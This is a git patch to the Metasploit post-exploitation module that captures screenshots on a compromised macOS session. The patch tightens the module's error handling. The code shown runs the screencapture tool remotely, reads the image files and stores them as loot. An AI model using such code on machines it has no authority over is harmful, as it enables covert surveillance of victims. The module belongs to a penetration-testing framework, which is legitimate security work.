From c4a8bfb175311c83e1a2566ecf3909da1ba9b79c Mon Sep 17 00:00:00 2001
From: Peter Toth <peter.toth@sucaba.eu>
Date: Wed, 13 Nov 2013 16:19:38 +0100
Subject: [PATCH] Tighter error handling

---
 modules/post/osx/gather/screen_capture.rb | 48 +++++++++++------------
 1 file changed, 23 insertions(+), 25 deletions(-)

diff --git a/modules/post/osx/gather/screen_capture.rb b/modules/post/osx/gather/screen_capture.rb
index f2b77a50c9..958f0e4876 100644
--- a/modules/post/osx/gather/screen_capture.rb
+++ b/modules/post/osx/gather/screen_capture.rb
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
         'License'       => MSF_LICENSE,
         'Author'        =>
           [
-            'Peter Toth <globetother[at]gmail.com>'
+            'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx
           ],
         'Platform'      => [ 'osx' ],
         'SessionTypes'  => [ 'shell' ]
@@ -40,39 +40,37 @@ class Metasploit3 < Msf::Post
   end
 
   def run
-    host = session.session_host
-    screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
     file_type = datastore['FILETYPE'].shellescape
     tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
 
-    begin
-      count = datastore['COUNT']
-      print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
-      # calculate a sane number of leading zeros to use.  log of x  is ~ the number of digits
-      leading_zeros = Math::log10(count).round
-      file_locations = []
-      count.times do |num|
-        select(nil, nil, nil, datastore['DELAY'])
+    count = datastore['COUNT']
+    print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
+    # calculate a sane number of leading zeros to use.  log of x  is ~ the number of digits
+    leading_zeros = Math::log10(count).round
+    file_locations = []
+    count.times do |num|
+      Rex.sleep(datastore['DELAY'])
+      begin
+        # This is an OSX module, so mkdir -p should be fine
+        cmd_exec("mkdir -p #{tmp_path}")
+        filename = Rex::Text.rand_text_alpha(7)
+        file = tmp_path + "/" + filename
+        cmd_exec(datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
+        data = read_file(file)
+      rescue RequestError => e
+        print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
+        return false
+      end
+      if data
         begin
-          # This is an OSX module, so mkdir -p should be fine
-          cmd_exec("mkdir -p #{tmp_path}")
-          filename = Rex::Text.rand_text_alpha(7)
-          file = tmp_path + "/" + filename
-          cmd_exec(datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
-          data = read_file(file)
-        rescue RequestError => e
-          print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
-          return false
-        end
-        if data
           # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
           fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
           file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot")
+        rescue IOError, Errno::ENOENT => e
+          print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
+          return false
         end
       end
-    rescue IOError, Errno::ENOENT => e
-      print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
-      return
     end
     print_status("Screen Capturing Complete")
     if file_locations and not file_locations.empty?